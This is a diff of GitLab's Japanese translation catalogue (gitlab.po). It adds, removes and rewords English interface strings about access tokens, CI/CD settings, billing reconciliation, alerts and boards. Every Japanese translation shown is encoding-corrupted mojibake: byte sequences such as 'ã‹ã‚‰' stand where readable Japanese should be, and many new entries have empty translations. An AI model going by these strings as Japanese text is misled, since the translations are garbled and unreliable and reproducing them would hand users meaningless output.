--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:41\n"
+"PO-Revision-Date: 2021-07-01 21:26\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} ã‹ã‚‰ %{end} "
@@ -87,6 +84,9 @@ msgstr "\"%{repository_name}\" ã®ã‚µã‚¤ã‚º (%{repository_size}) ãŒåˆ¶é™ã® %{
msgid "\"el\" parameter is required for createInstance()"
msgstr "createInstance() ã«ã¯ \"el\" パラメータãŒå¿…è¦ã§ã™"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d 件ã®æ‰¿èª"
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d 件ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ラベル付ãã§ã‚¤ãƒ³ãƒãƒ¼ãƒˆã—ã¾ã—ãŸ"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 個ã®ãƒ¬ã‚¤ãƒ¤ãƒ¼"
@@ -358,6 +354,21 @@ msgstr "%{authorsName}ã®ã‚¹ãƒ¬ãƒƒãƒ‰"
msgid "%{board_target} not found"
msgstr "%{board_target} ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr "%{name} ㌠%{count} 件ã®æ‰¿èªã‚’了承ã—ã¾ã—ãŸ"
msgid "%{count} files touched"
msgstr "%{count} ファイルãŒå¤‰æ›´ã•ã‚Œã¾ã—ãŸ"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,12 +602,12 @@ msgstr "%{level_name} 㯠%{group_level_name} グループã«å«ã‚られã¾ã›ã
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} ã¯è¨±å¯ã•ã‚Œã¾ã›ã‚“。フォークã—ãŸã‚½ãƒ¼ã‚¹ãƒ—ロジェクトã¯ã‚ˆã‚Šå¯è¦–性ãŒä½Žã„ã‹ã‚‰ã§ã™ã€‚"
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "GitLab Inc. ã«ã©ã®ã‚ˆã†ãªæƒ…報を共有ã™ã‚‹ã‹ã«ã¤ã„ã¦ã¯ %{link_start}ã“ã¡ã‚‰%{link_end} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "ロールã®æ¨©é™ã«ã¤ã„ã¦%{link_start}ã‚‚ã£ã¨èª­ã‚€%{link_end}"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] "%{securityScanner} ã®çµæžœã¯åˆ©ç”¨ã§ãã¾ã›ã‚“。パイプラインãŒæœ‰åŠ¹ã«ãªã£ã¦ã‹ã‚‰ã¾ã å®Ÿè¡Œã•ã‚Œã¦ã„ãªã„ãŸã‚ã§ã™ã€‚ %{linkStart}パイプラインを実行%{linkEnd}"
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr "%{size} %{unit}"
@@ -783,9 +801,6 @@ msgstr "%{start} ã‹ã‚‰ %{end} ã¾ã§"
msgid "%{state} epics"
msgstr "%{state}エピック"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "ソースブランãƒã‚’%{strongStart}削除%{strongEnd}"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr "%{total} 件ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} 件ã®è­¦å‘ŠãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: 最åˆã® %{warningsDisplayed} を表示"
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "GitLab Inc. ã¨ã©ã®ã‚ˆã†ãªæƒ…報を共有ã™ã‚‹ã‹ã«ã¤ã„ã¦ã¯ %{usage_ping_link_start} ã“ã¡ã‚‰%{usage_ping_link_end} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (マージã§ãã¾ã›ã‚“)"
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value} 秒"
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "外部ストレージリクエストを識別ã™ã‚‹ã€ã‚»ã‚­ãƒ¥ã‚¢ãƒˆãƒ¼ã‚¯ãƒ³"
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,14 +1654,14 @@ msgstr "å—信メールトークン"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "ä»–ã®ãƒ‡ãƒ¼ã‚¿ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã«ã¯ä½¿ç”¨ã§ãã¾ã›ã‚“。"
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "ã“ã®ãƒˆãƒ¼ã‚¯ãƒ³ã‚’外部ã«æ¼ã‚‰ã•ãªã„ã§ãã ã•ã„。ã“れを知ã£ãŸäººã¯èª°ã§ã‚‚ã‚ãªãŸã«ãªã‚Šã™ã¾ã—ã¦ãƒªãƒã‚¸ãƒˆãƒªã®é™çš„オブジェクトã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ã€‚æ¼æ´©ã—ãŸå ´åˆã€ %{reset_link_start} ã“れをリセット %{reset_link_end}ã™ã¹ãã§ã™ã€‚"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "ã“ã®ãƒˆãƒ¼ã‚¯ãƒ³ã‚’外部ã«æ¼ã‚‰ã•ãªã„ã§ãã ã•ã„。ã“れを知ã£ãŸäººã¯èª°ã§ã‚‚ã‚ãªãŸã«ãªã‚Šã™ã¾ã—ã¦ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’作æˆã§ãã¾ã™ã€‚æ¼æ´©ã—ãŸå ´åˆã€%{link_reset_it} ã™ã¹ãã§ã™ã€‚"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "ã“ã®ãƒˆãƒ¼ã‚¯ãƒ³ã‚’外部ã«æ¼ã‚‰ã•ãªã„ã§ãã ã•ã„。ã“れを知ã£ãŸäººã¯èª°ã§ã‚‚ã‚ãªãŸã®ã‚ˆã†ã«ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティを読ã‚ã€ã‚ãªãŸã¨ã—ã¦RSSフィードやカレンダーã®ãƒ•ã‚£ãƒ¼ãƒ‰ã‚’発行ã§ãã¾ã™ã€‚æ¼æ´©ã—ãŸå ´åˆã€%{link_reset_it} ã™ã¹ãã§ã™ã€‚"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "パーソナルアクセストークン"
@@ -1678,17 +1678,17 @@ msgstr "パーソナルアクセストークンを使用ã—ã¦Git over HTTPã«å¯
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "GitLab APIã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹å¿…è¦ãŒã‚るアプリケーションã”ã¨ã«ã€ãƒ‘ーソナルアクセストークンを生æˆã§ãã¾ã™ã€‚"
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "RSSリーダーãŒå€‹äººç”¨RSSフィードを読ã¿è¾¼ã‚€ã¨ãã€ã¾ãŸã¯ã‚«ãƒ¬ãƒ³ãƒ€ãƒ¼ã‚¢ãƒ—リケーションãŒå€‹äººç”¨ã‚«ãƒ¬ãƒ³ãƒ€ãƒ¼ã‚’読ã¿è¾¼ã‚€ã¨ãã«ã€ãƒ•ã‚£ãƒ¼ãƒ‰ãƒˆãƒ¼ã‚¯ãƒ³ã‚’使用ã—ã¦ã‚ãªãŸã‚’èªè¨¼ã—ã¾ã™ã€‚"
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "ã‚ãªãŸã®å—信メールトークンã¯ã‚ãªãŸãŒãƒ¡ãƒ¼ãƒ«ã§æ–°ã—ã„イシューを作æˆã™ã‚‹ã¨ãã‚ãªãŸã‚’èªè¨¼ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã—ã¾ã™ã€‚ã¾ãŸã€ã‚ãªãŸã®å€‹äººçš„ãªãƒ—ロジェクト特有ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã«å«ã¾ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "é™çš„オブジェクトトークンã¯ã€ (アーカイブã€ãƒ–ロブãªã©ã®) リãƒã‚¸ãƒˆãƒªã®é™çš„オブジェクトãŒå¤–部ストレージã‹ã‚‰æä¾›ã•ã‚Œã¦ã„ã‚‹å ´åˆã®èªè¨¼ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "リセット"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr "詳細を表示"
@@ -1807,6 +1807,9 @@ msgstr "ã“ã®è¡Œã«ã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "ã“ã® %{noteableDisplayName} ã¸ä¸€èˆ¬çš„ãªã‚³ãƒ¡ãƒ³ãƒˆã‚’追加。"
@@ -1816,6 +1819,9 @@ msgstr "ã“ã® %{noteable_name} ã«ã¤ã„ã¦å¤§ã¾ã‹ãªã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "ã‚ãªãŸã® Wiki ã«ãƒ—ロジェクトã«é–¢ã™ã‚‹æƒ…報をå«ã‚€ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã‚’追加ã™ã‚‹ã¨ã€GitLab ã¯ã“ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã®ä»£ã‚ã‚Šã«ãれをã“ã“ã«è¡¨ç¤ºã—ã¾ã™ã€‚"
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr "行を追加"
@@ -1879,6 +1885,9 @@ msgstr "デザインã«ã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "デプロイフリーズを追加"
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "ユーザーãŒæŒ‡å®šã•ã‚Œã¦ã„ã¾ã›ã‚“。"
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "æ–°ã—ã„プロジェクトã§å…±æœ‰ Runner を有効ã«ã™ã‚‹"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "環境変数ã¯ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ä¿è­·ã•ã‚Œã¦ã„ã¾ã™"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,20 +2263,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr "インテグレーションã«ç§»å‹•"
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "必須パイプラインãªã—"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "管ç†è¨­å®š |必須パイプライン設定"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "パイプライン構æˆãƒ•ã‚¡ã‚¤ãƒ«ã‚’é¸æŠž"
-
-msgid "AdminSettings|Select a template"
-msgstr "管ç†è¨­å®š |テンプレートé¸æŠž"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "Serviceテンプレートã¯ã€çµ±åˆã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆå€¤ã‚’設定ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã—ã¾ã™"
@@ -2278,8 +2290,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "インスタンス全体ã«è‡ªå‹•èª­ã¿è¾¼ã¿ã•ã‚Œã‚‹ %{link_start}パイプライン設定%{link_end} を設定ã—ã¾ã™ã€‚ã“ã®ãƒ‘イプライン設定ã¯ãƒ—ロジェクト独自ã®è¨­å®šã®å¾Œã«å®Ÿè¡Œã•ã‚Œã¾ã™ã€‚"
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "ã™ã¹ã¦ã®ãƒ—ロジェクトã®Auto Review AppãŠã‚ˆã³Auto Deployステージã§ä½¿ç”¨ã™ã‚‹ã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’指定ã—ã¾ã™ã€‚"
@@ -2287,11 +2299,8 @@ msgstr "ã™ã¹ã¦ã®ãƒ—ロジェクトã®Auto Review AppãŠã‚ˆã³Auto Deployスã
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "必須パイプライン設定ã¯ã€è¨­å®šæ¸ˆã¿ã®%{link_start}インスタンステンプレートリãƒã‚¸ãƒˆãƒª%{link_end}内㮠%{code_start}gitlab-ci%{code_end} ディレクトリã€ã¾ãŸã¯ GitLab æä¾›ã®è¨­å®šã‹ã‚‰é¸æŠžã§ãã¾ã™ã€‚"
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "環境変数ã®æ–°è¦ä½œæˆæ™‚ã«ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ä¿è­·ã•ã‚Œã¾ã™"
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2701,9 +2710,21 @@ msgstr "追加ã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ã‚·ã‚¹ãƒ†ãƒ ç®¡ç†è€…ã«ã‚ˆã£ã¦ç¢ºèªã•
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr "ã™ã¹ã¦ã®ç’°å¢ƒ"
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "全グループã¨ãƒ—ロジェクト"
@@ -3281,9 +3308,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "Amazon EKSçµ±åˆã«ã‚ˆã‚Šã€GitLabã‹ã‚‰EKSクラスターをプロビジョニングã§ãã¾ã™ã€‚"
-msgid "Amazon Web Services"
-msgstr "アマゾンウェブサービス"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "通知購読ã®åˆ‡ã‚Šæ›¿ãˆæ™‚ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "イシューã®ã‚¦ã‚§ã‚¤ãƒˆæ›´æ–°æ™‚ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "サービスデスクã®æœ‰åŠ¹åŒ–中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr "ブランãƒã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚検索をå†è©¦è¡Œã—ã¦ãã ã•ã„。"
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr "%{branchId} ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "プロジェクトã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -3656,9 +3683,6 @@ msgstr "コメントを更新中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr "マイルストーンã®æ›´æ–°ä¸­ã®ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr "ラベルをé©ç”¨"
msgid "Apply a template"
msgstr "テンプレートをé©ç”¨"
-msgid "Apply changes"
-msgstr "変更をé©ç”¨"
-
msgid "Apply suggestion"
msgstr "æ案をé©ç”¨"
@@ -4023,15 +4044,9 @@ msgstr "åå‰"
msgid "ApprovalRule|Rule name"
msgstr "ルールå"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr "ターゲットブランãƒ"
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr "%{reviewer_users_sentence} ã‚’ %{reviewer_text} ã¨ã—ã¦å‰²ã‚Šå½“ã¦ã‚‹
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "ãã‚Œãžã‚Œã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’変更ã™ã‚‹ã«ã¯ã€CODEOWNERã®ãƒ«ãƒ¼ãƒ«ã«ä¸€è‡´ã™ã‚‹ã€å°‘ãªãã¨ã‚‚1åã®ã‚³ãƒ¼ãƒ‰æ‰€æœ‰è€…ã‹ã‚‰ã®æ‰¿èªãŒå¿…è¦ã§ã™ã€‚"
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr "group_id ã¾ãŸã¯ project_id ã‚’1ã¤ä»¥ä¸ŠæŒ‡å®šã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™"
@@ -4605,9 +4617,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps ãŒæœ‰åŠ¹ã§ã™"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, Runner,ãŠã‚ˆã³ã‚¢ãƒ¼ãƒ†ã‚£ãƒ•ã‚¡ã‚¯ãƒˆ"
-
msgid "Auto stop successfully canceled."
msgstr "自動åœæ­¢æ©Ÿèƒ½ã‚’正常ã«ã‚­ãƒ£ãƒ³ã‚»ãƒ«ã—ã¾ã—ãŸã€‚"
@@ -4995,6 +5004,9 @@ msgstr "アップグレード"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr "å…¨ã¦è¡¨ç¤º"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr "アーティファクトをブラウズã™ã‚‹"
msgid "Browse files"
msgstr "ファイルを表示"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr "アーティファクトã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,11 +5686,11 @@ msgstr "デプロイ戦略"
msgid "CICD|Jobs"
msgstr "ジョブ"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "ãã®ä»–ã« CI 設定ファイルãŒè¦‹ã¤ã‹ã‚‰ãªã„å ´åˆã€Auto DevOps パイプラインãŒå®Ÿè¡Œã•ã‚Œã¾ã™ã€‚"
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "グループã¯æœ‰åŠ¹ã§ã™"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "コールãƒãƒƒã‚¯ URL"
@@ -5830,9 +5860,6 @@ msgstr "ä¸æ­£åˆ©ç”¨ãƒ¬ãƒãƒ¼ãƒˆã‚’作æˆã§ãã¾ã›ã‚“。ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "複数ã®Jiraインãƒãƒ¼ãƒˆã‚’åŒæ™‚ã«å®Ÿè¡Œã§ãã¾ã›ã‚“"
@@ -5938,15 +5965,15 @@ msgstr "マイルストーンã®å¤‰æ›´"
msgid "Change path"
msgstr "パスを変更"
-msgid "Change permissions"
-msgstr "アクセス権é™ã‚’変更"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "ステータスã®å¤‰æ›´"
